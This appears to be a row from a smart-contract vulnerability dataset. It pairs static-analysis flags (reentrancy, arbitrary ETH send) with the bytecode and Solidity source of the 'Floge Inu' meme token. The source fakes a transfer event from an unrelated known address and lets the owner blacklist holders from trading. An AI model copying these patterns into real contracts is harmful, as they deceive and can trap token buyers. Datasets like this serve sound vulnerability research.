2600401611bb69190612da5565b60405180910390fd5b5060008385611bce919061314d565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c2b6002846120b990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c56573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ca76002846120b990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cd2573d6000803e3d6000fd5b5050565b6000600754821115611d1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1490612de7565b60405180910390fd5b6000611d27612130565b9050611d3c81846120b990919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611da2577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dd05781602001602082028036833780820191505090505b5090503081600081518110611e0e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eb057600080fd5b505afa158015611ec4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ee8919061280f565b81600181518110611f22577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f8930600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611311565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fed959493929190612fa2565b600060405180830381600087803b15801561200757600080fd5b505af115801561201b573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b60008083141561205157600090506120b3565b6000828461205f91906130f3565b905082848261206e91906130c2565b146120ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a590612e87565b60405180910390fd5b809150505b92915050565b60006120fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061215b565b905092915050565b80612111576121106121be565b5b61211c848484612201565b8061212a576121296123cc565b5b50505050565b600080600061213d6123e0565b9150915061215481836120b990919063ffffffff16565b9250505090565b600080831182906121a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121999190612da5565b60405180910390fd5b50600083856121b191906130c2565b9050809150509392505050565b60006009541480156121d257506000600a54145b156121dc576121ff565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b60008060008060008061221387612442565b95509550955095509550955061227186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124aa90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235281612552565b61235c848361260f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123b99190612f87565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050612416683635c9adc5dea000006007546120b990919063ffffffff16565b82101561243557600754683635c9adc5dea0000093509350505061243e565b81819350935050505b9091565b600080600080600080600080600061245f8a600954600a54612649565b925092509250600061246f612130565b905060008060006124828e8787876126df565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ec83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b77565b905092915050565b6000808284612503919061306c565b905083811015612548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253f90612e27565b60405180910390fd5b8091505092915050565b600061255c612130565b90506000612573828461203e90919063ffffffff16565b90506125c781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612624826007546124aa90919063ffffffff16565b60078190555061263f816008546124f490919063ffffffff16565b6008819055505050565b6000806000806126756064612667888a61203e90919063ffffffff16565b6120b990919063ffffffff16565b9050600061269f6064612691888b61203e90919063ffffffff16565b6120b990919063ffffffff16565b905060006126c8826126ba858c6124aa90919063ffffffff16565b6124aa90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126f8858961203e90919063ffffffff16565b9050600061270f868961203e90919063ffffffff16565b90506000612726878961203e90919063ffffffff16565b9050600061274f8261274185876124aa90919063ffffffff16565b6124aa90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612777816135f8565b92915050565b60008151905061278c816135f8565b92915050565b6000813590506127a18161360f565b92915050565b6000815190506127b68161360f565b92915050565b6000813590506127cb81613626565b92915050565b6000815190506127e081613626565b92915050565b6000602082840312156127f857600080fd5b600061280684828501612768565b91505092915050565b60006020828403121561282157600080fd5b600061282f8482850161277d565b91505092915050565b6000806040838503121561284b57600080fd5b600061285985828601612768565b925050602061286a85828601612768565b9150509250929050565b60008060006060848603121561288957600080fd5b600061289786828701612768565b93505060206128a886828701612768565b92505060406128b9868287016127bc565b9150509250925092565b600080604083850312156128d657600080fd5b60006128e485828601612768565b92505060206128f5858286016127bc565b9150509250929050565b60006020828403121561291157600080fd5b600061291f84828501612792565b91505092915050565b60006020828403121561293a57600080fd5b6000612948848285016127a7565b91505092915050565b60006020828403121561296357600080fd5b6000612971848285016127bc565b91505092915050565b60008060006060848603121561298f57600080fd5b600061299d868287016127d1565b93505060206129ae868287016127d1565b92505060406129bf868287016127d1565b9150509250925092565b60006129d583836129e1565b60208301905092915050565b6129ea81613181565b82525050565b6129f981613181565b82525050565b6000612a0a82613027565b612a14818561304a565b9350612a1f83613017565b8060005b83811015612a50578151612a3788826129c9565b9750612a428361303d565b925050600181019050612a23565b5085935050505092915050565b612a6681613193565b82525050565b612a75816131d6565b82525050565b6000612a8682613032565b612a90818561305b565b9350612aa08185602086016131e8565b612aa981613279565b840191505092915050565b6000612ac160238361305b565b9150612acc8261328a565b604082019050919050565b6000612ae4602a8361305b565b9150612aef826132d9565b604082019050919050565b6000612b0760228361305b565b9150612b1282613328565b604082019050919050565b6000612b2a601b8361305b565b9150612b3582613377565b602082019050919050565b6000612b4d601d8361305b565b9150612b58826133a0565b602082019050919050565b6000612b70602a8361305b565b9150612b7b826133c9565b604082019050919050565b6000612b9360218361305b565b9150612b9e82613418565b604082019050919050565b6000612bb660208361305b565b9150612bc182613467565b602082019050919050565b6000612bd960298361305b565b9150612be482613490565b604082019050919050565b6000612bfc60258361305b565b9150612c07826134df565b604082019050919050565b6000612c1f60248361305b565b9150612c2a8261352e565b604082019050919050565b6000612c4260108361305b565b9150612c4d8261357d565b602082019050919050565b6000612c6560178361305b565b9150612c70826135a6565b602082019050919050565b6000612c8860188361305b565b9150612c93826135cf565b602082019050919050565b612ca7816131bf565b82525050565b612cb6816131c9565b82525050565b6000602082019050612cd160008301846129f0565b92915050565b6000604082019050612cec60008301856129f0565b612cf960208301846129f0565b9392505050565b6000604082019050612d1560008301856129f0565b612d226020830184612c9e565b9392505050565b600060c082019050612d3e60008301896129f0565b612d4b6020830188612c9e565b612d586040830187612a6c565b612d656060830186612a6c565b612d7260808301856129f0565b612d7f60a0830184612c9e565b979650505050505050565b6000602082019050612d9f6000830184612a5d565b92915050565b60006020820190508181036000830152612dbf8184612a7b565b905092915050565b60006020820190508181036000830152612de081612ab4565b9050919050565b60006020820190508181036000830152612e0081612ad7565b9050919050565b60006020820190508181036000830152612e2081612afa565b9050919050565b60006020820190508181036000830152612e4081612b1d565b9050919050565b60006020820190508181036000830152612e6081612b40565b9050919050565b60006020820190508181036000830152612e8081612b63565b9050919050565b60006020820190508181036000830152612ea081612b86565b9050919050565b60006020820190508181036000830152612ec081612ba9565b9050919050565b60006020820190508181036000830152612ee081612bcc565b9050919050565b60006020820190508181036000830152612f0081612bef565b9050919050565b60006020820190508181036000830152612f2081612c12565b9050919050565b60006020820190508181036000830152612f4081612c35565b9050919050565b60006020820190508181036000830152612f6081612c58565b9050919050565b60006020820190508181036000830152612f8081612c7b565b9050919050565b6000602082019050612f9c6000830184612c9e565b92915050565b600060a082019050612fb76000830188612c9e565b612fc46020830187612a6c565b8181036040830152612fd681866129ff565b9050612fe560608301856129f0565b612ff26080830184612c9e565b9695505050505050565b60006020820190506130116000830184612cad565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613077826131bf565b9150613082836131bf565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130b7576130b661321b565b5b828201905092915050565b60006130cd826131bf565b91506130d8836131bf565b9250826130e8576130e761324a565b5b828204905092915050565b60006130fe826131bf565b9150613109836131bf565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131425761314161321b565b5b828202905092915050565b6000613158826131bf565b9150613163836131bf565b9250828210156131765761317561321b565b5b828203905092915050565b600061318c8261319f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131e1826131bf565b9050919050565b60005b838110156132065780820151818401526020810190506131eb565b83811115613215576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f596f7572207472616e73616374696f6e20636f6f6c646f776e20686173206e6f60008201527f7420657870697265642e00000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546f6f206d616e7920746f6b656e732e00000000000000000000000000000000600082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61360181613181565b811461360c57600080fd5b50565b61361881613193565b811461362357600080fd5b50565b61362f816131bf565b811461363a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207b352dd91d2626024ee96ab3501019d03a44bb9d491efc8f3c58418731a6a75b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,670 |
0x029490e0ac4f76bde50d9f349be1da2706050df9
|
/**
*Submitted for verification at Etherscan.io on 2021-07-02
*/
// ______ _ _____ _____ _____ ______ _ _____ _ _______ ______ _____ _____ _____
// | ___| | | _ | __ \| ___| ______ | ___| | | _ | | / /_ _| _ | _ \ _ | __ \| ___|
// | |_ | | | | | | | \/| |__ |______| | |_ | | | | | | |/ / | | _| |_ | | | | | | | | \/| |__
// | _| | | | | | | | __ | __| ______ | _| | | | | | | \ | | |_ _| | | | | | | | | __ | __|
// | | | |___\ \_/ / |_\ \| |___ |______| | | | |___\ \_/ / |\ \_| |_ |_| | |/ /\ \_/ / |_\ \| |___
// \_| \_____/\___/ \____/\____/ \_| \_____/\___/\_| \_/\___/ |___/ \___/ \____/\____/
// Everybody knows what $FLOKI and $DOGE are. All are Elon Musk's love.
// We launch $FLOGE = $FLOKI + $DOGE
// Name: Floge Inu
// Symbol: FLOGE
// Total Supply: 1T
// Liquidity: 100%
// Buy Max TX Limit: 1% of Total Supply for first 10 minutes
// Cooldown: 20 seconds for first 10 minutes
// No TAX in Buy but 20% TAX in Sell
// No limit in Sell. You can sell any amount at anytime.
// Telegram: https://t.me/flogetoken
// Twitter: https://twitter.com/flogetoken
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FlogeToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Floge Inu";
string private constant _symbol = "FLOGE";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _launchTime;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = false;
_taxFee = 2;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
if (block.timestamp < _launchTime + 10 minutes) {
require(amount <= _maxTxAmount);
}
takeFee = false;
if (cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 0;
_teamFee = 20;
takeFee = true;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if (contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function addLiquidityETH() external onlyOwner() {
require(!tradingOpen, "Liquidity already added");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063d543dbeb146103a4578063dd62ed3e146103cd578063ed9953071461040a57610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612df3565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612939565b61045e565b6040516101789190612dd8565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f75565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128ea565b61048d565b6040516101e09190612dd8565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061285c565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fea565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129b6565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061285c565b610783565b6040516102b19190612f75565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d0a565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612df3565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612939565b61098d565b60405161035b9190612dd8565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612975565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103cb60048036038101906103c69190612a08565b610b75565b005b3480156103d957600080fd5b506103f460048036038101906103ef91906128ae565b610cbe565b6040516104019190612f75565b60405180910390f35b34801561041657600080fd5b5061041f610d45565b005b60606040518060400160405280600981526020017f466c6f676520496e750000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a8565b84846112b0565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461147b565b61055b846104a66112a8565b6105568560405180606001604052806028815260200161368560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b579092919063ffffffff16565b6112b0565b600190509392505050565b61056e6112a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ef5565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ef5565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a8565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611bbb565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb6565b9050919050565b6107dc6112a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ef5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f464c4f4745000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a8565b848461147b565b6001905092915050565b6109b36112a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ef5565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef9061328b565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a8565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d24565b50565b610b7d6112a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffff